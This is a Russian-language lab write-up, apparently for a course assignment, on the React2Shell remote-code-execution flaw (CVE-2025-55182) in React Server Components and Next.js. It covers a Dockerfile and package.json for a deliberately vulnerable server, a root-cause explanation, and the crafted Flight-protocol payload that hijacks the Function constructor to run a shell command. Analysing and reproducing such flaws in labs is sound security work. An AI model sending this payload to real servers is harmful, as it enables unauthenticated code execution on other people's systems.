
также известный как React2Shell
Разделы, требуемые руководящими принципами задания, отмечены "(Required)".
В данном окружении используется собственный Dockerfile на основе официального образа Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Dockerfile собирает уязвимое окружение с React Server Components (RSC) и Next.js App Router.
Окружение устанавливает уязвимые версии:
Уязвимый сервер запускается в режиме разработки с помощью npm run dev.
Уязвимый сервер запускается в режиме разработки с помощью npm run dev.
Окружение работает по следующей структуре:
[Атакующий / exploit.py]
↓
[Next.js App Router]
↓
[Парсер React Flight Protocol]
↓
[Среда выполнения React Server Components]
↓
[Среда выполнения Node.js]
Атакующий отправляет специально сформированный multipart/form-data запрос на уязвимое приложение Next.js.
Вредоносная полезная нагрузка злоупотребляет процессом десериализации протокола React Flight.
Уязвимое приложение использует архитектуру Next.js App Router.
Запрос обрабатывается через конвейер React Server Components.
Исходный код приложения находится в каталоге src/app/.
src/
└── app/
├── layout.js
└── page.js
Файл layout.js определяет корневой макет, необходимый для структуры App Router, и инициализирует среду React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Файл page.js определяет корневую страницу, отображаемую в /, и выводит простое сообщение о том, что уязвимый сервер работает.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Зависимости проекта и скрипты выполнения управляются через файл package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Этот файл определяет уязвимые версии:
Уязвимое приложение запускается с помощью:
"scripts": {
"dev": "next dev"
}
Сервер запускается через:
npm run dev
что запускает уязвимый сервер разработки Next.js на порту 3000.
Протокол Flight десериализует сложные объекты React, такие как:
Уязвимость возникает в ходе этого процесса десериализации.
Среда выполнения React обрабатывает подконтрольные атакующему полезные нагрузки Flight.
Небезопасный обход свойств и доступ к прототипу в конечном итоге позволяют атакующим перехватить конструктор Function.
После успешной эксплуатации произвольный код JavaScript выполняется внутри серверного окружения Node.js.
Это приводит к удаленному выполнению кода (RCE).
| Компонент | Версия |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
Окружение использует уязвимые реализации React Server Components и протокола Flight.
CVE-2025-55182, также известный как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components и протокол React Flight.
Уязвимость возникает в процессе десериализации подконтрольных атакующему полезных нагрузок протокола Flight.
Проблема позволяет атакующим:
Уязвимость особенно опасна, поскольку эксплуатация может происходить без аутентификации с помощью одного специально сформированного HTTP-запроса.
Приложения, использующие уязвимые версии React Server Components и конфигурации Next.js App Router, напрямую подвержены риску.
Основная причина уязвимости — небезопасная обработка подконтрольных атакующему ссылок на объекты во время десериализации протокола Flight.
React Flight внутренне использует специальные строки ссылок, такие как:
$@0
$B1337
$1:__proto__:then
Эти ссылки рекурсивно разрешаются во время десериализации.
Уязвимая логика выполняет обход свойств, аналогичный:
value[path[i]]
без проверки, принадлежит ли свойство самому объекту.
В результате атакующие могут получить доступ к опасным свойствам цепочки прототипов JavaScript, таким как:
__proto__
constructor
prototype
Это в конечном итоге позволяет осуществить загрязнение прототипа и перехват конструктора Function.
Атакующий сначала создает поддельный объект chunk React.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Критическое поле:
"status": "resolved_model"
Среда выполнения React ошибочно доверяет этому полю и обрабатывает подконтрольный атакующему объект как легитимный внутренний объект chunk.
Полезная нагрузка:
$1:__proto__:then
заставляет десериализатор обходить цепочку прототипов JavaScript.
Поскольку уязвимый код не проверяет опасные свойства, атакующий получает доступ к:
Chunk.prototype.then
Это превращает поддельный chunk в thenable-объект.
Полезная нагрузка:
$1:constructor:constructor
в конечном итоге разрешается в:
Function
Это заменяет:
response._formData.get
на глобальный конструктор Function JavaScript.
В результате становится возможным:
Function(attacker_controlled_payload)
Полезная нагрузка:
$B1337
заставляет парсер React Flight перейти в логику разбора Blob.
В ходе этого процесса выполняется:
response._formData.get(...)
Однако атакующий уже заменил эту функцию на глобальный конструктор Function.
Это окончательно приводит к выполнению произвольного кода JavaScript внутри среды выполнения Node.js.
Процесс эксплуатации происходит в следующем порядке:
Запрос атакующего
↓
Разбор полезной нагрузки Flight
↓
Создание поддельного Chunk
↓
Загрязнение прототипа
↓
Перехват конструктора Function
↓
Триггер разбора Blob
↓
Разрешение Promise
↓
Удаленное выполнение кода
Атакующий сначала отправляет специально сформированный многокомпонентный Flight-запрос.
Уязвимый сервер десериализует вредоносную полезную нагрузку и рекурсивно разрешает подконтрольные атакующему ссылки.
Небезопасный обход прототипа в конечном итоге позволяет атакующему перехватить конструктор Function.